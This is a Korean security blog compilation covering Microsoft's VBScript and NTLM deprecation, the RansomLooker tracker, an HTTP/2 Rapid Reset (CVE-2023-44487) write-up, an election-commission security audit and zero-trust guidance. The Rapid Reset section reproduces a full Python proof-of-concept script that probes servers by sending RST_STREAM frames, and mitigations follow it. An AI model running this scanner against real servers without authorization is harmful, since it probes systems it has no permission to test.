요약 - MS는 비주얼베이직스크립트(VBScript) 서비스 중단 절차 돌입 발표
- MS는 윈도 11에서 NTLM을 서서히 제거해 나갈 예정
내용 ① VB스크립트
- 1996년 VB스크립트 최초 발표 후 서비스 중단 돌입 발표
> MS에서 개발한 스크립트 언어로, 윈도우 98 이후 OS에 설치
> 관리자 업무 자동화 용도였으나, 웹 서버 개발, 브라우저 내 스크립트 언어로써 활용되기 시작
> 이러한 특성으로, 시스템 파일을 사용자에게 경고 없이 수정하거나, 파일 다운로드 등이 가능해 악성코드로 활용되기 시작
> 필요에 따라 요청할 경우에만 제공되며, 조금씩 줄여나가 결국 완전히 제거하는 것이 목표

- 공격자들은 계속해서 VB스크립트를 애용
> 최근 MS가 오피스의 매크로가 자동 활성화되는 것을 차단하면서 VB스크립트를 활용
> 악성 VB스크립트들을 피해자의 컴퓨터에서 자동으로 실행되도록 한 후, 이를 통해 각종 악성 행위를 실시
> 공격자들은 VB스크립트를 통해 백도어, 다운로더, 로더 등 각종 멀웨어를 설치
※ 해당 공격 기법은 2000년부터 알려져 있었음

- VB스크립트가 사라짐에 따라 공격자뿐만 아니라 사용자들 또한 다른 유포 경로를 확보할 것

② NTLM
- 1990년 NTLM 최초 발표 후 서비스 중단 돌입 발표
> 인증, 무결성 및 기밀성을 제공하기 위한 보안 프로토콜 제품군
> 시도-응답 프로토콜을 사용하는 SSO(Single Sign-On) 도구

- 윈도 11부터 NTLM을 제거하는 동시에, 커버로스(Kerberos) 인증 프로토콜을 강화할 계획
> Windows 11은 Kerberos(IAKerb)를 사용한 초기 및 통과 인증과 Kerberos용 로컬 KDC (키 배포 센터)가 포함
> 하드 코딩된 NTLM 인스턴스를 해결하는 작업과, NTLM 대신 Kerberos 사용을 장려하는 개선 작업을 진행 중
> 관련된 모든 사항이 기본적으로 활성화되므로 커버로스로 대체되는 과정 중 대부분 사용자 개입 불필요
> 단, 기존 호환성을 유지하기 위한 대체 수단으로 사용할 수 있음
기타 - VB스크립트
> 디폴트로 비활성화 되도록 하는 게 다음 단계가 될 가능성이 높으며, 그런 후 완전 제거를 시작할 계획

- NTLM
> NTLM은 서버, 클라이언트, 사용자 간 핸드셰이크를 중심으로 하며, 비밀번호 해싱이 근간
>
커버로스는 티켓 발급 서버와 키 배포 센터를 이용하며, 암호화 기술이 근간

 

보안뉴스

 

MS 오피스 매크로 대신 공격자들이 사용해 오던 VB스크립트, 조만간 사라진다

MS가 이번 주 비주얼베이직스크립트(VBScript)라는 오래된 스크립트 언어를 서비스 중단하기 위한 절차에 돌입했다고 발표했다. 비주얼베이직스크립트(이하 VB스크립트)는 사이버 공격자들이 가장

www.boannews.com

 

MS, 오래된 인증 프로토콜인 NTLM 서서히 없앤다

보안 외신 해커뉴스에 의하면 MS가 윈도 11에서 NTLM을 서서히 제거해 나갈 예정이라고 한다. 대신 커버로스(Kerberos)라는 인증 프로토콜을 강화하겠다는 방침이다. NTLM과 커버로스는 인증 정보를

www.boannews.com

 

Microsoft to Phase Out NTLM in Favor of Kerberos for Stronger Authentication

Microsoft plans to phase out the '90s NT LAN Manager (NTLM) in favor of a stronger focus on Kerberos for authentication in Windows 11.

thehackernews.com

 

1. 개요

- 보안 외신 Cybernews에서 랜섬웨어 그룹의 움직임을 모니터링하고 추적하는 무료 도구 RansomLooker를 개발해 제공
- 랜섬웨어 그룹이 운영하는 협박 및 정보 공개용 사이트 등을 모니터링하고, 실시간으로 반영한 통합 피드 제공

[사진 1] 랜섬루커 [1]

 

2. 주요내용

- 2019.05.01부터 발생한 랜섬웨어 관련 통계 정보 제공
> 국가별, 산업별, 기업별 피해 통계 정보 제공
> 랜섬웨어 그룹별 통계 정보 제공

 

- RansomLooker 동작 방식
> 랜섬웨어 그룹이 운영하는 사이트들을 모니터링
> 랜섬웨어 그룹이 활동한 다크웹 또한 모니터링
> 모니터링한 데이터를 집계하여 실시간 업데이트로 반영해 선대응할 수 있도록 정보 제공

 

3. 참고

[1] https://cybernews.com/ransomlooker/
[2] https://www.boannews.com/media/view.asp?idx=122638&page=2&kind=1 

1. HTTP/2 [1]

- 2015년 IETF에 의해 공식적으로 발표된 HTTP/1.1의 후속 버전

구분 설명
HTTP/1.0 - 하나의 Connection하나의 요청을 처리하도록 설계
- 서버에 요청시 매번 연결/해제 과정을 반복해야 했으므로 RTT가 오래 걸리는 단점이 존재 (≒ 속도가 느리다)
> RTT(Round Trip Time): 패킷이 왕복하는데 걸린 시간
HTTP/1.1 - Persistent Connection: 매번 Connection을 생성하지 않고, keep-alive 옵션을 이용해 일정 시간동안 연결 유지
- Pipelining: 클라이언트는 앞 요청의 응답을 기다리지 않고, 순차적으로 요청을 전송하며 서버는 요청이 들어온 순서대로 응답
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
- 무거운 Header 구조: 매 요청마다 중복된 헤더 값을 전송하여, 헤더 크기가 증가하는 문제
HTTP/2 - 구글의 비표준 개방형 네트워크 프로토콜 SPDY 기반
- Multiplexed Streams: 하나의 Connection을 통해 여러 데이터 요청을 병렬로 전송할 수 있음, 응답의 경우 순서 상관없이 Stream으로 전송
- Header 압축: 이전 요청에 사용된 헤더 목록을 유지관리하여 헤더 정보를 구성
- Binary protocol: 복잡성 감소, 단순한 명령어 구현 등
- Server Push: 요청되지 않았지만 향후 예상되는 추가 정보를 클라이언트에 전송할 수 있음
- Stream Prioritization: 리소스간 의존관계에 따른 우선순위를 설정하여 리소스 로드 문제 해결
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
HTTP/3 - QUIC라는 계층 위에서 동작하며 UDP 기반
- UDP 기반이기 때문에 RTT 감소 및 HOL Blocking 문제를 극복

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-44487 [2]

- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점

- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS

> 종전 기록은 7100만 RPS

 

2.1 취약점 상세

- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완Multiplexed Streams을 지원

> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음

> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선

※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함

 

[사진 2] HTTP/1.1(위) HTTP/2(아래) 동작 방식 비교 [3]

 

- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재

> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음

> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림

 

- 서버는 MAX_CONCURRENT_STREAMS 값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시

> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절

※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨

 

- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발

> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함

> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음

[사진 4] HTTP/2 Rapid Reset DDoS 요약 [4]

 

2.2 PoC [5]

① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인

② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도

③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음

#!/usr/bin/env python3

import ssl
import sys
import csv
import socket
import argparse

from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection

from h2.connection import H2Connection
from h2.config import H2Configuration

import httpx
import requests

def get_source_ips(proxies):
    """
    Retrieve the internal and external IP addresses of the machine.
    
    Accepts:
        proxies (dict): A dictionary of proxies to use for the requests.
    
    Returns:
        tuple: (internal_ip, external_ip)
    """
    try:
        response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
        external_ip = response.text.strip()

        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(2)
        try:
            s.connect(('8.8.8.8', 1))
            internal_ip = s.getsockname()[0]
        except socket.timeout:
            internal_ip = '127.0.0.1'
        except Exception as e:
            internal_ip = '127.0.0.1'
        finally:
            s.close()
        
        return internal_ip, external_ip
    except requests.exceptions.Timeout:
        print("External IP request timed out.")
        return None, None
    except Exception as e:
        print(f"Error: {e}")
        return None, None
    
def check_http2_support(url, proxies):
    """
    Check if the given URL supports HTTP/2.
    
    Parameters:
        url (str): The URL to check.
        proxies (dict): A dictionary of proxies to use for the requests.
        
    Returns:
        tuple: (status, error/version)
        status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
        error/version: Error message or HTTP version if not HTTP/2.
    """
    try:
        # Update the proxies dictionary locally within this function
        local_proxies = {}
        if proxies:
            local_proxies = {
                'http://': proxies['http'],
                'https://': proxies['https'],
            }
        
        # Use the proxy if set, otherwise don't
        client_options = {'http2': True, 'verify': False}  # Ignore SSL verification
        if local_proxies:
            client_options['proxies'] = local_proxies
        
        with httpx.Client(**client_options) as client:
            response = client.get(url)
        
        if response.http_version == 'HTTP/2':
            return (1, "")
        else:
            return (0, f"{response.http_version}")
    except Exception as e:
        return (-1, f"check_http2_support - {e}")

def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
    """
    Send an RST_STREAM frame to the given host and port.
    
    Parameters:
        host (str): The hostname.
        port (int): The port number.
        stream_id (int): The stream ID to reset.
        uri_path (str): The URI path for the GET request.
        timeout (int): The timeout in seconds for the socket connection.
        proxy (str): The proxy URL, if any.
        
    Returns:
        tuple: (status, message)
        status: 1 if successful, 0 if no response, -1 otherwise.
        message: Additional information or error message.
    """
    try:
        # Create an SSL context to ignore SSL certificate verification
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE

        # Create a connection based on whether a proxy is used
        if proxy and proxy != "":
            proxy_parts = urlparse(proxy)
            if port == 443:
                conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
                conn.set_tunnel(host, port)
            else:
                conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
                conn.set_tunnel(host, port)
        else:
            if port == 443:
                conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
            else:
                conn = HTTPConnection(host, port, timeout=timeout)

        conn.connect()

        # Initiate HTTP/2 connection
        config = H2Configuration(client_side=True)
        h2_conn = H2Connection(config=config)
        h2_conn.initiate_connection()
        conn.send(h2_conn.data_to_send())

        # Send GET request headers
        headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
        h2_conn.send_headers(stream_id, headers)
        conn.send(h2_conn.data_to_send())

        # Listen for frames and send RST_STREAM when appropriate
        while True:
            data = conn.sock.recv(65535)
            if not data:
                break

            events = h2_conn.receive_data(data)
            has_sent = False
            for event in events:
                if hasattr(event, 'stream_id'):
                    if event.stream_id == stream_id:
                        h2_conn.reset_stream(event.stream_id)
                        conn.send(h2_conn.data_to_send())
                        has_sent = True
                        break # if we send the reset once we don't need to send it again because we at least know it worked

            if has_sent: # if we've already sent the reset, we can just break out of the loop
                return (1, "")
            else:
                # if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
                
                available_id = h2_conn.get_next_available_stream_id()
                if available_id == 0:
                    # if we can't get a new stream id, we can just send to stream 1
                    h2_conn.reset_stream(1)
                    conn.send(h2_conn.data_to_send())
                    return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
                else:
                    # if we can get a new stream id, we can just send to that
                    h2_conn.reset_stream(available_id)
                    conn.send(h2_conn.data_to_send())
                    return (1, "")
                    
        conn.close()
        return (0, "No response")
    except Exception as e:
        return (-1, f"send_rst_stream_h2 - {e}")

def extract_hostname_port_uri(url):
    """
    Extract the hostname, port, and URI from a URL.
    
    Parameters:
        url (str): The URL to extract from.
        
    Returns:
        tuple: (hostname, port, uri)
    """
    try:
        parsed_url = urlparse(url)
        hostname = parsed_url.hostname
        port = parsed_url.port
        scheme = parsed_url.scheme
        uri = parsed_url.path  # Extracting the URI
        if uri == "":
            uri = "/"

        if not hostname:
            return -1, -1, ""

        if port:
            return hostname, port, uri

        if scheme == 'http':
            return hostname, 80, uri

        if scheme == 'https':
            return hostname, 443, uri

        return hostname, (80, 443), uri
    except Exception as e:
        return -1, -1, ""

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--input', required=True)
    parser.add_argument('-o', '--output', default='/dev/stdout')
    parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
    parser.add_argument('-v', '--verbose', action='store_true')
    args = parser.parse_args()

    proxies = {}
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }

    internal_ip, external_ip = get_source_ips(proxies)

    with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
        csv_writer = csv.writer(outfile)
        csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
        
        for line in infile:
            addr = line.strip()
            if addr != "":
                now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                
                if args.verbose:
                    print(f"Checking {addr}...", file=sys.stderr)
                
                http2support, err = check_http2_support(addr, proxies)
                
                hostname, port, uri = extract_hostname_port_uri(addr)
                
                if http2support == 1:
                    resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
                    if resp == 1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
                    elif resp == -1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
                    elif resp == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
                else:
                    if http2support == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
                    else:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])

 

3. 대응방안

- 보안 업데이트 적용 [6]

종류 안전한 버전
NGINX 1.25.3 버전 이상
Apache HTTP Server nghttp2 1.57.0 버전 이상
Apache Tomcat 10.1.14 버전 이상
IIS 2023년 10월 10일 버전 업데이트 [7]
OpenResty 1.21.4.3 버전 이상

 

- 에러 로그 모니터링

> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링

※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)

※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)

 

- GOAWAY 프레임 전송

> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임

> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송

 

- 관련 설정 값 수정 [6]

> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고

종류 설정 값
NGINX - http2_max_concurrent_streams 120
- keepalive_requests 1,000
Apache HTTP Server  H2MaxSessionStreams 120
Apache Tomcat  maxConcurrentStreams 120

 

- 공격 발생 IP 차단

 

- HTTP/2 미사용 또는 HTTP/3 고려

 

4. 참고

[1] https://github.com/dongkyun-dev/TIL/blob/master/web/HTTP1.1%EA%B3%BC%20HTTP2.0%2C%20%EA%B7%B8%EB%A6%AC%EA%B3%A0%20%EA%B0%84%EB%8B%A8%ED%95%9C%20HTTP3.0.md
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-44487
[3] https://www.wallarm.com/what/what-is-http-2-and-how-is-it-different-from-http-1
[4] https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

[5] https://github.com/bcdannyboy/cve-2023-44487

[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=107187#LINK

[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487

[8] https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack?hl=en  
[9] https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
[10] https://www.cisa.gov/news-events/alerts/2023/10/10/http2-rapid-reset-vulnerability-cve-2023-44487
[11] https://www.rfc-editor.org/rfc/rfc9113
[12] https://www.securityweek.com/rapid-reset-zero-day-exploited-to-launch-largest-ddos-attacks-in-history/
[13] https://www.securityweek.com/organizations-respond-to-http-2-zero-day-exploited-for-ddos-attacks/
[14] https://www.helpnetsecurity.com/2023/10/10/cve-2023-44487-http-2-rapid-reset/
[15] https://www.boannews.com/media/view.asp?idx=122547&page=1&kind=1 

요약 - 국정원, 선관위, KISA는 07/19 ~ 09/22 중앙선거관리위원회 북한 해킹 공격 관련 합동점검 시행
- 10월 10일 국가정보원은 2개월간 진행된 합동 보안점검의 결과를 브리핑
내용 - 국정원, 선관위, KISA는 7월 중순부터 중앙선거관리위원회 합동 보안점검을 시행
> 선관위 해킹 시도가 2022년에만 4만여건이 있었다고 했지만, 선관위는 보안점검 거부
> 중앙선거관리위원회에서 최근 2년 북한으로부터 다수의 사이버 공격을 받았던 사실이 알려져 우려 제기
> 이에 07/03 ~ 07/14 사전점검, 07/18 ~ 09/08 현장점검

- 선관위 전산망은 크게 인터넷상, 업무망, 선거망으로 구성
> 인터넷망: 선관위 홈페이지, 직원 인터넷 PC 등 운영
> 업무망: 선거사무관리를 위한 업무시스템 등 운영
> 선거망: 투·개표 관련 주요 선거 시스템 운영 등
> 해킹은 인터넷망 -> 업무망 -> 선거망 순으로 이루어짐
> 선관위에서 해킹 당한 PC는 지방 선관위의 간부급 직원의 PC로 확인


- 점검 결과 문제점
① 근본 문제
> 미흡한 망분리 : 망간 접점 발생
> 초기 패스워드 사용 : 인터넷망부터 내부 선거시스템까지 침투가 가능

② 투표 시스템의 문제점
> 통합선거인명부 탈취 및 변경 가능 : 내부망 침투 취약점 존재 및 계정관리 부실
> 사전투표 여부 변조 : 사전투표 여부 플래그 삭제
> 통합선거인명부 시스템에서 선관위의 투표소 사인 위조 및 무단 사용
> 온라인투표시스템의 대리투표 가능 : 단순한 패스워드 사용
> ‘사전투표소’를 통해 선거망에 침투가 가능 : 유권자 정보 조회를 위해 선관위 시스템과 직접 연결
> 선상투표 결과 열람 가능 : 암호화되어 저장, 전송되지만, 암호키를 탈취해 선상투표 복호화 및 무단 열람
> 재외선거망까지 접근이 가능 : 재외국민 선거인명부 탈취, 재외공관의 직원 PC 접근 가능, 재외공관 운영망을 통해 선관위 내부망 접속

③ 개표 시스템 문제점
> ‘개표DB’ 해킹 가능 : 선관위의 인터넷망은 특별한 보안이 없어 득표수 변경이 가능
> ‘투표지분류기’ 해킹 가능 : 투표지 분류기에 USB를 통해 악성코드 설치 및 무선통신장비 연결 가능, 검증 프로그램을 우회해 투표지 분류 결과를 변경 가능
> 투표지분류기 프로그램이 인터넷에 노출돼 누구나 내려받을 수 있는 것을 확인

④ 북한 해킹대응 실태 점검 결과
> 선관위에 통보한 해킹 사건의 피해여부 및 조치 내용, 국정원이 보유한 위협정보 활용, 해킹 여부 점검 등을 시행
> 선관위는 국정원의 통보가 있기 전까지 2021~2023년에 선관위와 관련된 8건의 해킹에 대해 전혀 인지하지 못함
> 해킹 원인의 조사 부재 및 자료유출 여부 또한 확인하지 못함
> 북한 김수키 해킹조직에 의한 메일 계정 탈취공격으로 선관위 직원의 상용 메일과 인터넷PC에 접속해 대외비 등 자료 유출
> 선관위 직원들이 개인 상용메일을 통해 업무자료를 유통한 사례가 발견

⑤ 선관위가 자체점검 항목 재점검
> 평가 점수는 31.5점이 나왔으며, 31개 항목 중 0점을 받은 항목은 15개

⑥ 정보시스템 망분리 및 운영 실태
> 업무망이 인터넷과 미분리돼 개인 쇼핑몰 등 접속이 가능
> 기반시설 취약점 분석 및 평가에서도 무자격 업체가 관리
> 2018~2023년에 선관위가 시행한 총 185건의 정보화 사업 중 104건이 수의계약


- 국정원의 보안점검 후 보안조치 방안
① 즉시(1개월 내) 
> 전산망간 접점 제거
> 온라인 투표 인증우회 보완 
> 취약서버 패스워드 변경(이상 조치 완료)
> 인터넷PC 문서편집기 삭제 등

② 단기(3개월 내) 
> 전 서버 최신 보안패치
> 네트워크 접근제어 강화
> 사전투표소 전산망 보안 강화
> 용역업체 관리권한 축소

③ 중장기
> 전체 전산망 재설계 
> 상주용역업체 전산망 분리 
> 2차 보안인증 체계 구축
> 정보보호 전담조직 신설 등
기타 -

 

보안뉴스

 

선관위 해킹 논란... 투개표 시스템 해킹 취약점 등 사이버보안 총체적 부실 확인

올해 5월, 대한민국 헌법기관인 중앙선거관리위원회(위원장 노태악, 이하 중앙선관위)에서 최근 2년 새 북한 해킹 조직으로부터 다수의 사이버 공격을 받았던 사실이 알려져 우려가 제기된 바

www.boannews.com

 

 

1. '제로트러스트 가이드라인 1.0'으로 바라본 제로트러스트 구현 전략

- 정보보안 영역에서의 패러다임 대전환으로 제로트러스트가 주목받음

> 비대면ㆍ디지털 전환 가속화: '언제 어디서든 누구나' 사이버 위협이 가능하며, 관리 대상의 증가

> 新환경ㆍ보안위협: 지능화 기술 확산으로 사이버 공격 은밀화ㆍ고도화

> 보안산업 외연 확대: 일상생활 전반에 정보보호 내재화 및 정보보호산업 육성을 위한 국가 차원 전략 마련

> 기존 경계 기반 보안모델의 한계: 최근 해킹 및 랜섬웨어 사례로 경계 기반 보안모델의 한계 부각

∴ 더 세밀한 인증체계, 보호 대상을 각각 분리ㆍ보호하고, 모든 접근 요구를 정확하게 제어하여 최소 권한을 부여할 수 있는 보안 체계 필요

 

- 제로트러스트

구분 설명
개념 접속요구가 있을 때 마다 네트워크가 이미 침해된 것으로 간주하고, '절대 믿지 말고, 계속 검증하라는 새로운 보안 개념'
※ 보호해야할 모든 데이터와 컴퓨팅 서비스를 자원으로 분리ㆍ보호하고 각 자원에 접속 요구마다 인증
핵심원칙 - 강화된 인증: ID/PW 외 다양한 인증 정보를 활용한 다중 인증 등 지속적 인증
- 마이크로 세크멘테이션: 서버ㆍ컴퓨팅 서비스 등을 중심으로 하는 작은 단위 분리
- 소프트웨어 정의 경계: 소프트웨어 기반으로 보호 대상 분리ㆍ보호
기본철학 - 모든 종류의 접근에 대해 신뢰하지 않을 것 (명시적인 신뢰 확인 후 리소스 접근 허용)
- 일관되고 중앙집중적인 정책 관리 및 접근제어 결정ㆍ실행 필요
- 사용자, 기기에 대한 관리 및 강력한 인증
- 자원 분류 및 관리를 통한 세밀한 접근제어 (최소 권한 부여)
- 논리 경계 생성 및 세션 단위 접근 허용, 통신 보호 기술 적용
- 모든 상태에 대한 모니터링, 로그 기록 등을 통한 신뢰석 지속 검증ㆍ제어
대응방법 - 신뢰도 판단 전까지 모든 접근 비신뢰 및 접근 거부
- 내부자 행위 모니터링ㆍ감시ㆍ분석, 명확한 신뢰도 판단에 근거한 최소 권한 부여)
보안원리 - 해커가 내ㆍ외부 어디든 존재할 수 있으며, 모든 접속 요구는 신뢰할 수 없다는 가정하에 보호해야할 모든 데이터와 컴퓨팅 서비스를 각각의 자원으로 분리ㆍ보호, 인증 강화
접근제어 원리 - '제어 영역'과 '데이터 영역'을 구분하며, 자원에 대한 접근 요구가 있을 때 접속을 결정하는 정책결정지점(PDP)접속을 시행하는 정책시행지점(PEP)를 두고 운영

- 정책결정지점(Policy Decision Point)
> 정책엔진(Policy Engine): '신뢰도 평가 알고리즘' 기반으로 접근 주체가 리소스에 접근할 수 있을지를 최종 결정
> 정책관리자(Policy Administrator): 정책엔진의 결정을 정책시행지점에 알려주어 접근 주체와 리소스 사이의 통신 경로를 생성 또는 폐쇄
※ 신뢰도 평가 알고리즘: 접근정보(OS 버전, S/W, 권한 등), 특정기준, 가중치, 머신러닝 등 다양한 방식으로 신뢰도를 평가하는 알고리즘

- 정책시행지점(Policy Enforcement Point)
> 데이터 영역에서 접근 주체가 기업 리소스 접근 시 결정된 정책에 따라 최종적으로 연결-종료 역햘 담당

 

> NIST: 이미 침투당했다는 관점에서 정확한, 최소 권한의, 세션 단위 접근 결정을 강제하여 불확실성을 최소화하기 위해 설계된 개념과 아이디어의 집합

> DoD: 정적ㆍ네트워크 기반 경계로부터 사용자ㆍ자산ㆍ리소스에 중점을 둔 방어로 이동ㆍ진화하는 사이버 보안 패러다임의 집합

> 단순히 제품이나 기술의 구입ㆍ도입만으로는 달성할 수 없으며, 현재 환경의 객관적인 파악과 평가가 선행되어야 함

 

- 제로트러스트 가이드라인 1.0

> 22.10월 산ㆍ학ㆍ연ㆍ관 전문가들이 참여하는 '한국제로트러스트포럼' 구성

> 23.06월 국내외 기술동향 분석, 토론회 등 전문가 의견을 모아 제로트러스트 가이드라인 1.0 발간

구분 설명
발간목적 국내 정부ㆍ공공, 기업 관계자 등이 제로트러스트 아키텍처의 개념을 빠르고 쉽게 이해하여
향후 국내 정보통신 환경에 적합한 제로트러스트 보안체계를 도입할 수 있도록 지원
버전 요약본 - 일반인부터 전문가까지 폭넓은 대상층
- 의사 결정 과정에 포함된 모든 인력의 제로트러스트 이해와 인식
전체본 - 보안 전략수립 책임자 및 실무자
- 조직내 사이버보안 계획 수립, 운영 등을 담당하는 보안 담당자의 제로트러스트 전략 수립에 도움
발간원칙 - 미국 중심으로 논의된 제로트러스트 NIST 문서 등을 최대한 참고하며, 기본 철학 유지
- 국내 환경을 고려하여 핵심 요소(시스템) 및 도입 참조모델(원격근무 및 망분리) 추가
- 도입하고자 하는 환경이 모두 다르므로, 이를 모두 아우를 수 있도록 상위 수준에서 기술
- 조직내 모든 구성원을 대상으로 상세한 기술보다 더 쉽게 개념을 이해할 수 있도록 작성
핵심요소 - 해외사례, 금융망 및 국가 기반시설ㆍ공공 클라우드 보안 인증기준 등을 고려해 국내 환경에 적합한 핵심요소 6종 도출
① Identity&User: 사람, 서비스, IoT 기기 등을 고유하게 설명할 수 있는 속성(속성의 집합)
② Device&Endpoint: 네트워크에 연결하여 데이터를 주고 받는 모든 하드웨어 장치
③ Network: 데이터를 전송하기 위해 사용되는 모든 형태의 통신 매체
④ System: 응용 프로그램을 구동하거나 중요 데이터를 저장하고 관리하는 서버
⑤ Application&Workload: 기업망 관리 시스템, 프로그램, 온프레미스 및 클라우드 환경에서 실행되는 서비스
⑥ Data: 기업(기관)에서 가장 최우선적으로 보호해야 할 자원
성숙도 모델 - 국내 환경에 적합한 성숙도 3단계 모델과 함께 핵심요소별 성숙도 모델 제시
① 기존(Traditional)
> 아직 제로트러스트 아키텍처를 적용하지 않은 수준
> 대체로 네트워크 방어에 초점을 맞춘 경계 기반 보안모델이 적용되어 있는 상태
> 정교한 공격, 내부자 공격 등 일부 취약성을 지님

② 향상(Advanced)
> 제로트러스트 철학을 부분적으로 도입한 수준
> 제로트러스트 원칙이 보안 아키텍처에서 핵심 기능이 되는 상태
> 최소 권한 접근, 네트워크 분할, 로깅 및 모니터링 등 부분적으로 적용되어 기존보다 높은 보안성 달성

③ 최적화(Optimal)
> 제로트러스트 철학이 전사적으로 적용된 상태
> 자동화 운영, 네트워크 세분화, 지속 접근 제어 등 보안성이 크게 개선

 

- 제로트러스트 도입

> 많은 자원, 시간, 소요예산 등이 필요한 작업으로 충분한 검토 및 체계적인 준비가 필요하며, 도입 계획 수립 필요

> 보유 자원에 대한 보안 위협을 줄이기 위한 절차로 위험 관리 프레임워크(NIST)와 연계하여 검토 가능

 

2. 제로 트러스트 아키텍처의 핵심 솔루션 ‘Micro Segmentation’

- 제로트러스트 도입 근거

> 현대화된 Hybrid Cloud Infrastructure: On-Prem 환경에서 Cloud 환경으로 이전 또는 혼용

> 확인되지 않는 Attack 시퀀스: 공격의 지능화 및 고도화로 공격의 순서도를 파악하기 어려움

 

- 제로트러스트 관련 솔루션

> Micro Segmentation: East-West Traffic 보호

> ZTNA(ZeroTrust Network Access): North-South Traffic 보호

> MFA: 다중인증 

> SWG(Secure Web Gateway): Internet Access 보호

 

- Micro Segmentation

> 제로트러스트의 핵심 솔루션으로, 랜섬웨어 확산 방지의 장점을 지님

> Gartner: 제로트러스트 구축시 가장 초기 단계 중 하나로 워크로드 세그먼테이션 강조

> Forrester: 마이크로세그멘테이션은 제로트러스트 필수 요소

> 과학기술정보통신부: 제로트러스 구현 핵심원칙으로 마이크로 세그멘테이션 강조

 

※ 단계 예시

① Environment Segmentation (망분할)

② Critical Application Ring-Fencing (중요 어플리케이션 분할)

③ Critical Application Micro Segmentation (어플리케이션 자체 분할)

④ Third-Party Access Control (협력사)

⑤ Identity-Based Access Control (사용자)

 

※ Micro Segmentation 구현을 위한 Forrester 5단계

① Sensitive Data 식별: 중요 데이터 식별

② Sensitive Data Flow의 도식화: 데이터 흐름 시각화

③ Zero Trust 마이크로 경계 설계: 최적의 경계 설계

④ 보안분석을 통한 Zero Trust 생태계의 지속적인 모니터링: 설계된 경계에서 발생하는 보안 인벤트 모니터링

